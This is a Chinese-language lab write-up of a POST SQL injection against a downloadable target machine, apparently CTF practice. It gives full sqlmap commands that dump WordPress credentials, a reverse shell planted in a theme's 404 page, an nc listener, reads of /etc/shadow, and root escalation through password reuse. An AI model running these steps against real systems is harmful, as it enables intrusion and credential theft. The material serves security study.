sql注入-post篇

打CTF比赛的时候,sql注入算是比较常见的题型,今天来记录一下基于靶机的post注入。

准备工作

靶机下载:
链接:https://pan.baidu.com/s/1o8-25n0LtDTk2w_SgOT2og
提取码:zlqz

漏洞复现过程

  1. 使用netdiscover发现存活主机
netdidscover -i eth0

sql注入-post篇_第1张图片

  1. 使用nmap进行主机服务检测
  • 发现目标主机开放了80、8080等端口
    sql注入-post篇_第2张图片
  1. 使用nikto进行信息收集
nikto -host http://192.168.101.34
  • 分别对80端口和8080端口进行信息收集,在80端口上发现phpmyadmin和login.php文件,8080端口上没有搜索到有用的信息,其中login.php页面可能存在sql注入漏洞
    sql注入-post篇_第3张图片
    sql注入-post篇_第4张图片
  1. 再使用dirb进行网站子目录的挖掘
dirb http://192.168.101.34
dirb http://192.168.101.34:8080
  • 发现wordpress的后台登录系统(8080)和login.php页面(80)
    sql注入-post篇_第5张图片
    sql注入-post篇_第6张图片
  1. 使用burpsuite进行抓包,用户名输入admin,密码随意。并将文件保存为request.raw

  2. 使用sqlmap进行数据库信息的爆破
    先查询数据库信息

sqlmap -r request.raw --level 5 --risk 3 --dbs --dbms mysql --batch

参数说明:
-r:可以将一个post请求方式的数据包保存在一个txt中,sqlmap会通过post方式检测目标。
–level:设置测试等级,最高为5
–risk:风险,值越高,数据就越有可能被篡改
–dbs:列出找到的数据库名称
–dbms:设置当前网站的后台数据库
–batch:批处理,使用默认的选项进行注入,无需用户输入和交互
–dump:导出指定数据表中的内容
–tables:列出爆破的表结构
-C:数据库的列名
-D:对应的数据库
-T:指定对应的数据表

  • 获取到7个对应的数据库,其中就包含wordpress8080的数据库
    sql注入-post篇_第7张图片

  • 使用如下命令对表名进行爆破

sqlmap -r request.raw --level 5 --risk 3 -D wordpress8080 --tables --dbms mysql --batch
  • 找到wordpress库中有一张users表
    sql注入-post篇_第8张图片
  • 再进一步对表的值进行爆破,查找到admin的密码,并使用该密码登录wordpress的后台(http://靶机IP:8080/wordpress/wp-login.php)
sqlmap -r request.raw --level 5 --risk 3 -D wordpress8080 -T users -C username,password --dump --dbms mysql --batch

sql注入-post篇_第9张图片

  1. 使用shellcode植入后台404页面(Appearance的editor),使其能反弹webshell,之前笔者在SMB服务泄露中是使用msfvenom命令生成一个php的shellcode代码并植入。今天使用另外一个方法植入恶意代码。
  • 进入kali的/usr/share/webshells/php目录中
  • 拷贝php-reverse-shell.php文件到桌面
cd /usr/share/webshells/php
cp php-reverse-shell.php /root/Desktop
cd /root/Desktop
  • 将文件内的IP地址更改为本机ip,端口更改为4444
    sql注入-post篇_第10张图片
  • 将php-reverse-shell.php的内容复制到404页面中
    sql注入-post篇_第11张图片
  • 侦听4444端口
nc -nlvp 4444
  • 访问链接:http://靶机IP:8080/wordpress/wp-content/themes/twentythirteen/404.php,webshell反弹
    sql注入-post篇_第12张图片
  1. 优化终端并查看对应权限
python -c "import pty; pty.spawn('/bin/bash')"
su - root
  • 尝试提权时,发现需要输入密码,空密码尝试失败。分别查看/etc/passwd和/etc/shadow文件收集用户名信息,但是并不能找到有用的信息。
    sql注入-post篇_第13张图片
  • 最终尝试使用admin的密码尝试提权,提权成功
    sql注入-post篇_第14张图片

总结:post注入是通过对输入框进行传参,可以被带入数据库进行的查询。注入的两个条件:1.用户可以控制传参,2.用户输入的语句被带入数据库进行查询

你可能感兴趣的:(Web漏洞利用,安全漏洞,web)